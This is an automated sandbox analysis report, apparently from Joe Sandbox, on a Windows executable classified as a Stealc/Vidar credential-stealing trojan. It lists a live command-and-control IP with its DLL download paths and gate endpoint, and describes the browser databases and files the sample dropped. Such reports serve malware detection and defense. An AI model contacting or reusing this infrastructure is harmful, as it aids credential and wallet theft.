C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php0u	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dllU	18%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpser	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpB	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpre	18%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php&	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php0u	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll(Vqc	file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllPV9c	file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllqw	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1785900009.000000001D110000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlldhzc	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpe1	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllU	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	IEHIIIJDAAAAAAKECBFB.0.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952690954.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllkw	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1953129003.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php;h	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpB	file.exe, 00000000.00000002.1933172412.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpus.wallet	file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000003.1785900009.000000001D110000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll2w7b9	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllfw	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpre	file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php8n	file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.1933172412.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532478
Start date and time:	2024-10-13 11:53:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 75 Number of non-executed functions: 50
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse
	AVSicb6epR.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse
	AVSicb6epR.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJDAEGCAFIIDGDGCGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKEHDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAEHCAEGDHJKFHJKFIJKJEGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCBGIIJKEBFCBGDBAEBGCFIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHIIIJDAAAAAAKECBFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEGHJECFCFCBFIDBGCG

Download File

